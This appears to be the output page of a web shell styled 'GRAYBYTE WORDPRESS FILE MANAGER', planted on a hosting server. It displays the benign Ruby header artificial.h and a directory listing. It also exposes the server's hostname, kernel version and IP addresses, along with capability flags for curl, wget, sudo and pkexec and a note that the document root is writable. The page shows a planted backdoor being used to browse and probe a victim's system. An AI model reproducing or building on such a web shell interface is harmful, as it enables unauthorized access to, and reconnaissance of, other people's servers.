✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.150
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /opt/alt/ruby31/include/ruby/internal/attr//artificial.h
#ifndef RBIMPL_ATTR_ARTIFICIAL_H                     /*-*-C++-*-vi:se ft=cpp:*/
#define RBIMPL_ATTR_ARTIFICIAL_H
/**
 * @file
 * @author     Ruby developers <ruby-core@ruby-lang.org>
 * @copyright  This  file  is   a  part  of  the   programming  language  Ruby.
 *             Permission  is hereby  granted,  to  either redistribute  and/or
 *             modify this file, provided that  the conditions mentioned in the
 *             file COPYING are met.  Consult the file for details.
 * @warning    Symbols   prefixed  with   either  `RBIMPL`   or  `rbimpl`   are
 *             implementation details.   Don't take  them as canon.  They could
 *             rapidly appear then vanish.  The name (path) of this header file
 *             is also an  implementation detail.  Do not expect  it to persist
 *             at the place it is now.  Developers are free to move it anywhere
 *             anytime at will.
 * @note       To  ruby-core:  remember  that   this  header  can  be  possibly
 *             recursively included  from extension  libraries written  in C++.
 *             Do not  expect for  instance `__VA_ARGS__` is  always available.
 *             We assume C99  for ruby itself but we don't  assume languages of
 *             extension libraries.  They could be written in C++98.
 * @brief      Defines #RBIMPL_ATTR_ARTIFICIAL.
 *
 * ### Q&A ###
 *
 * - Q: What is this attribute?  I don't get what GCC manual is talking about.
 *
 * - A: In  short  it  is  an  attribute to  manipulate  GDB  backtraces.   The
 *      attribute    makes    the   best    sense    when    it   comes    with
 *      __attribute__((always_inline)).   When a  function annotated  with this
 *      attribute gets inlined, and when you  somehow look at a backtrace which
 *      includes such  inlined call site,  then the backtrace shows  the caller
 *      and  not the  callee.  This  is handy  for instance  when an  identical
 *      function is inlined  more than once in a single  big function.  On such
 *      case it gets  vital to know where the inlining  happened in the callee.
 *      See also https://stackoverflow.com/a/21936099
 */
#include "ruby/internal/has/attribute.h"

/** Wraps (or simulates) `__attribute__((artificial))` */
#if RBIMPL_HAS_ATTRIBUTE(artificial)
# define RBIMPL_ATTR_ARTIFICIAL() __attribute__((__artificial__))
#else
# define RBIMPL_ATTR_ARTIFICIAL() /* void */
#endif

#endif /* RBIMPL_ATTR_ARTIFICIAL_H */


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
13 May 2025 7.13 AM
root / linksafe
0755
alloc_size.h
1.641 KB
28 Apr 2025 5.36 PM
root / linksafe
0644
artificial.h
2.403 KB
28 Apr 2025 5.36 PM
root / linksafe
0644
cold.h
1.816 KB
28 Apr 2025 5.36 PM
root / linksafe
0644
const.h
2.155 KB
28 Apr 2025 5.36 PM
root / linksafe
0644
constexpr.h
3.438 KB
28 Apr 2025 5.36 PM
root / linksafe
0644
deprecated.h
3.309 KB
28 Apr 2025 5.36 PM
root / linksafe
0644
diagnose_if.h
1.956 KB
28 Apr 2025 5.36 PM
root / linksafe
0644
enum_extensibility.h
1.685 KB
28 Apr 2025 5.36 PM
root / linksafe
0644
error.h
1.596 KB
28 Apr 2025 5.36 PM
root / linksafe
0644
flag_enum.h
1.69 KB
28 Apr 2025 5.36 PM
root / linksafe
0644
forceinline.h
1.979 KB
28 Apr 2025 5.36 PM
root / linksafe
0644
format.h
1.755 KB
28 Apr 2025 5.36 PM
root / linksafe
0644
maybe_unused.h
1.892 KB
28 Apr 2025 5.36 PM
root / linksafe
0644
noalias.h
3.465 KB
28 Apr 2025 5.36 PM
root / linksafe
0644
nodiscard.h
2.166 KB
28 Apr 2025 5.36 PM
root / linksafe
0644
noexcept.h
4.17 KB
28 Apr 2025 5.36 PM
root / linksafe
0644
noinline.h
1.75 KB
28 Apr 2025 5.36 PM
root / linksafe
0644
nonnull.h
1.717 KB
28 Apr 2025 5.36 PM
root / linksafe
0644
noreturn.h
2.087 KB
28 Apr 2025 5.36 PM
root / linksafe
0644
pure.h
1.954 KB
28 Apr 2025 5.36 PM
root / linksafe
0644
restrict.h
2.074 KB
28 Apr 2025 5.36 PM
root / linksafe
0644
returns_nonnull.h
1.774 KB
28 Apr 2025 5.36 PM
root / linksafe
0644
warning.h
1.611 KB
28 Apr 2025 5.36 PM
root / linksafe
0644
weakref.h
1.614 KB
28 Apr 2025 5.36 PM
root / linksafe
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF